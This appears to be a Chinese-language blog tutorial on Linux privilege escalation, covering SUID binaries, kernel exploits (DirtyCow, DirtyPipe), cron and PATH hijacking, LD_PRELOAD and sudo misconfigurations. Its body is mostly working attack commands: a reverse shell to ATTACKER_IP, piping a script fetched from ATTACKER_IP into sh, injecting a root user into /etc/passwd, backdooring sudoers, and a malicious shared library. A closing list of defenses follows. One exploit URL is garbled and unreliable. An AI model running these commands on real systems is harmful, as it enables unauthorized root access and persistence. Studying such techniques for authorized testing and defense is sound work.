Skip to content

提权技术详解 — SUID、内核漏洞、Cron 定时任务利用

Published:
15 min read

在渗透测试中,获取初始 Shell 往往只是一个低权限用户(如 www-data、nobody),要真正控制目标系统,我们需要进行权限提升(Privilege Escalation),将普通用户权限提升为 root。Linux 提权是一门系统化的技术,涉及文件权限、内核漏洞、系统配置缺陷等多个维度。本文将全面讲解 Linux 环境下的各种提权技术,从原理到实战,帮助你掌握从低权限到 root 的完整路径。

Linux 权限模型基础

在开始提权之前,我们需要理解 Linux 的权限模型:

# 查看当前用户身份
id
whoami
groups

# 查看 /etc/passwd(所有用户)
cat /etc/passwd

# 查看 /etc/shadow(密码哈希,需root权限)
cat /etc/shadow

# Linux 权限体系核心概念:
# UID 0 = root(超级管理员)
# 文件权限:rwx (读/写/执行)
# 特殊权限:SUID(4), SGID(2), Sticky Bit(1)
# SUID:程序以文件所有者身份运行
# SGID:程序以文件所属组身份运行

# 查看文件权限
ls -la /usr/bin/passwd
# -rwsr-xr-x 1 root root 68208 /usr/bin/passwd
# 's' 表示 SUID 位被设置,任何用户执行该程序时以 root 身份运行

提权信息收集

在尝试提权之前,首先需要全面了解目标系统的配置。

# 操作系统和内核信息
uname -a
cat /etc/os-release
cat /etc/issue
hostnamectl

# 当前用户权限
id
sudo -l                    # 查看 sudo 配置(非常重要!)
cat /etc/sudoers           # 需要权限

# 系统中的其他用户
cat /etc/passwd | grep -v nologin | grep -v false
ls -la /home/

# 网络信息
ifconfig / ip addr
netstat -tulnp / ss -tulnp
route -n

# 运行中的进程
ps aux
ps aux | grep root         # 查看 root 进程

# 定时任务
crontab -l                 # 当前用户的 cron
ls -la /etc/cron*          # 系统级 cron
cat /etc/crontab
systemctl list-timers      # systemd 定时器

# 可写目录和文件
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null

# 查看环境变量
env
echo $PATH

SUID/SGID 提权

SUID(Set User ID)是 Linux 提权中最经典的攻击面之一。当一个可执行文件设置了 SUID 位时,任何用户运行该程序时都会以文件所有者(通常是 root)的身份执行。

查找 SUID 文件

# 查找所有 SUID 文件
find / -perm -u=s -type f 2>/dev/null

# 查找所有 SGID 文件
find / -perm -g=s -type f 2>/dev/null

# 同时查找 SUID 和 SGID
find / -perm -4000 -o -perm -2000 2>/dev/null

# 更详细的输出
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

# 常见的正常 SUID 程序
# /usr/bin/passwd, /usr/bin/sudo, /usr/bin/mount, /usr/bin/ping
# 如果发现以下程序有 SUID 位,则可能被利用:
# /usr/bin/find, /usr/bin/vim, /usr/bin/python, /usr/bin/bash
# /usr/bin/nmap, /usr/bin/less, /usr/bin/cp, /usr/bin/env

GTFOBins 利用

GTFOBins(https://gtfobins.github.io/)是一个收集了各种 Unix 二进制文件提权方法的项目。以下是常见的 SUID 提权示例:

# === find 提权 ===
# 如果 find 有 SUID 位
find . -exec /bin/sh -p \; -quit

# === vim 提权 ===
vim -c ':!/bin/sh'

# === python 提权 ===
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# === bash 提权 ===
# 如果 bash 有 SUID 位
bash -p

# === nmap 提权(旧版本)===
# nmap 2.02 - 5.21 有交互模式
nmap --interactive
!sh

# === env 提权 ===
env /bin/sh -p

# === less/more 提权 ===
less /etc/passwd
!/bin/sh

# === cp 提权 ===
# 复制 /etc/passwd,添加 root 用户
# 生成密码哈希
openssl passwd -1 -salt hacker password123
# 结果: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

# 添加到 passwd 文件
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd

# su 切换到新用户
su hacker
# 密码: password123

# === node 提权 ===
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'

# === perl 提权 ===
perl -e 'exec "/bin/sh";'

# === ruby 提权 ===
ruby -e 'exec "/bin/sh"'

# === php 提权 ===
php -r "pcntl_exec('/bin/sh', ['-p']);"

内核漏洞提权

当系统内核版本较旧时,可能存在已知的内核漏洞可以直接获取 root 权限。

检测内核版本

# 查看内核版本
uname -r
uname -a
cat /proc/version

# 常见的可利用内核版本范围
# Linux 2.6.x - 3.x: 大量历史漏洞
# Linux 4.x: DirtyCow (CVE-2016-5195)
# Linux 5.x: DirtyPipe (CVE-2022-0847)

DirtyCow(CVE-2016-5195)

DirtyCow 是 Linux 内核中一个存在了近 10 年的竞态条件漏洞,影响 Linux 2.6.22 至 4.8.3 之间的所有内核版本。

# 检查是否受影响
uname -r
# 如果版本在 2.6.22 - 4.8.3 之间,可能受影响

# 方法一:使用 dirtycow 修改 /etc/passwd
# 下载利用代码
wget https://www.exploit-db.com/download/40839 -O dirty.c

# 编译
gcc -pthread dirty.c -o dirty -lcrypt

# 运行(会创建一个新的 root 用户 "firefart")
./dirty my_new_password

# 登录
su firefart
# 密码: my_new_password

# 方法二:使用 cowroot
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/cowroot.c
gcc cowroot.c -o cowroot -pthread
./cowroot

DirtyPipe(CVE-2022-0847)

DirtyPipe 影响 Linux 5.8 至 5.16.11 之间的内核版本,可以覆写任意只读文件。

# 检查是否受影响
uname -r
# 需要 5.8 <= kernel < 5.16.11 (或特定修补版本)

# 下载利用代码
wget https://raw.githubusercontent.com/AlexisAhworworworworworworworworwor/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-1.c

# 编译并运行
gcc exploit-1.c -o exploit
./exploit

# 方法:覆写 /etc/passwd 中 root 的密码字段获取 root

使用自动化工具检测内核漏洞

# linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# linux-exploit-suggester2 (Python版本)
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

Cron 定时任务提权

Cron 定时任务是 Linux 系统的任务调度机制。如果 root 用户的 cron 任务执行的脚本对当前用户可写,就可以被利用来提权。

发现可利用的 Cron 任务

# 查看系统级 crontab
cat /etc/crontab

# 查看所有 cron 目录
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# 查看各用户的 cron 任务
ls -la /var/spool/cron/crontabs/

# 使用 pspy 监控进程(无需root权限)
# pspy 可以检测到定时任务执行时的进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

可写脚本提权

# 假设发现 /etc/crontab 中有以下条目:
# * * * * * root /opt/scripts/backup.sh

# 检查脚本权限
ls -la /opt/scripts/backup.sh
# 如果当前用户对该脚本有写权限

# 方法一:写入反弹 Shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh

# 攻击机监听
nc -lvnp 4444

# 方法二:添加 SUID bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh

# 等待 cron 执行后
/tmp/rootbash -p
# 获得 root shell

# 方法三:将当前用户加入 sudoers
echo 'echo "username ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /opt/scripts/backup.sh
# 等待执行后
sudo su

PATH 劫持提权

如果 cron 任务中的脚本调用了命令但没有使用绝对路径,可以通过修改 PATH 环境变量来劫持。

# 假设 cron 脚本内容为:
# #!/bin/bash
# cd /tmp && tar czf /backup/backup.tar.gz *

# 如果 crontab 中 PATH 包含可写目录(如 /tmp 或 /home/user)
# 或者脚本中调用的命令没有使用绝对路径

# 创建恶意的 tar 命令
echo '#!/bin/bash' > /tmp/tar
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/tar
chmod +x /tmp/tar

# 如果 PATH 中 /tmp 在 /usr/bin 之前
# cron 执行时会调用我们的假 tar

# 等待执行后
/tmp/rootbash -p

# === 通配符注入 ===
# 如果 cron 脚本中使用了通配符,如:
# tar czf /backup/backup.tar.gz *

# 可以利用 tar 的参数注入
cd /tmp
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh

环境变量提权

PATH 劫持

# 如果发现 SUID 程序内部调用了系统命令(未使用绝对路径)
# 例如一个 SUID 程序调用了 "service apache2 restart"

# 使用 strings 查看程序调用的命令
strings /usr/local/bin/suid_program

# 创建恶意的 service 命令
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service

# 修改 PATH(将 /tmp 放在最前面)
export PATH=/tmp:$PATH

# 执行 SUID 程序
/usr/local/bin/suid_program
# 获得 root shell

LD_PRELOAD 提权

如果 sudo 配置中保留了 LD_PRELOAD 环境变量,可以用来提权。

# 检查 sudo 配置
sudo -l
# 如果输出包含: env_keep += LD_PRELOAD

# 创建恶意共享库
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
EOF

# 编译为共享库
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# 使用 LD_PRELOAD 执行任意允许的 sudo 命令
sudo LD_PRELOAD=/tmp/shell.so find
# 获得 root shell

Sudo 配置错误利用

sudo -l 是提权枚举中最重要的命令之一,它会显示当前用户可以以 root 身份运行哪些命令。

# 查看 sudo 权限
sudo -l

# === 常见可利用的 sudo 配置 ===

# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# (root) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# (root) NOPASSWD: /usr/bin/perl
sudo perl -e 'exec "/bin/bash";'

# (root) NOPASSWD: /usr/bin/ruby
sudo ruby -e 'exec "/bin/bash"'

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/hosts
!/bin/bash

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

# (root) NOPASSWD: /usr/bin/man
sudo man man
!/bin/bash

# (root) NOPASSWD: /usr/bin/ftp
sudo ftp
ftp> !/bin/bash

# (root) NOPASSWD: /usr/bin/socat
sudo socat stdin exec:/bin/bash

# (root) NOPASSWD: /usr/bin/zip
sudo zip /tmp/1.zip /tmp/1 -T --unzip-command="sh -c /bin/bash"

# (root) NOPASSWD: /usr/bin/tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# (root) NOPASSWD: /usr/bin/env
sudo env /bin/bash

# (root) NOPASSWD: /usr/bin/nano
sudo nano
# Ctrl+R, Ctrl+X
# 输入: reset; bash 1>&0 2>&0

# (root) NOPASSWD: /usr/bin/apache2
# 读取敏感文件
sudo apache2 -f /etc/shadow

自动化枚举工具

LinPEAS

LinPEAS 是最强大的 Linux 提权枚举脚本,会自动检测几乎所有可能的提权路径。

# 下载 LinPEAS
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

# 在目标机器上运行
chmod +x linpeas.sh
./linpeas.sh

# 将输出保存到文件
./linpeas.sh | tee linpeas_output.txt

# 如果目标机器无法下载,可以通过攻击机传输
# 攻击机启动 HTTP 服务
python3 -m http.server 8000

# 目标机下载并执行
curl http://ATTACKER_IP:8000/linpeas.sh | sh

# LinPEAS 检测项目包括:
# - 系统信息和内核版本
# - 可利用的 SUID/SGID 文件
# - Sudo 配置错误
# - Cron 任务
# - 可写文件和目录
# - 敏感文件(密码、密钥)
# - Docker/LXC 容器逃逸
# - 内核漏洞建议

LinEnum

# 下载并运行
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

# 详细模式
./LinEnum.sh -t -k password -e /tmp/output -r report.txt

linux-smart-enumeration

# 下载
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh

# 不同级别的扫描
./lse.sh -l 0    # 只显示重要发现
./lse.sh -l 1    # 显示有趣的信息
./lse.sh -l 2    # 显示所有信息

安全建议与防御措施

  1. 最小权限原则:用户和进程只授予必要的最小权限
  2. 定期审计 SUID 文件find / -perm -4000 -type f,移除不必要的 SUID 位
  3. 严格管理 sudo 配置:避免 NOPASSWD,限制可执行的命令范围
  4. 及时更新内核:关注 CVE 公告,及时修补内核漏洞
  5. 审查 Cron 任务:确保脚本权限正确(root 脚本只有 root 可写),使用命令绝对路径
  6. 保护环境变量:sudo 配置中使用 env_reset,移除 LD_PRELOAD 等危险变量
  7. 部署 SELinux/AppArmor:强制访问控制可以限制提权后的操作范围
  8. 文件完整性监控:使用 AIDE、Tripwire 等工具监控关键系统文件的变更
  9. 日志审计:开启详细的审计日志(auditd),监控异常的权限变更操作

总结

Linux 提权是渗透测试中至关重要的环节,也是安全攻防对抗的核心战场。本文系统地讲解了 SUID/SGID 提权、内核漏洞提权、Cron 定时任务利用、环境变量劫持、sudo 配置错误利用等多种提权技术,并介绍了 LinPEAS、LinEnum 等自动化枚举工具。提权的核心思路是发现系统配置中的”不一致”——权限配置错误、版本过旧、信任关系不当等。在实战中,建议综合使用自动化工具和手动检查,不遗漏任何可能的提权路径。下一篇文章我们将进入后渗透阶段,学习如何在获取 root 权限后维持访问、建立隧道和进行横向移动。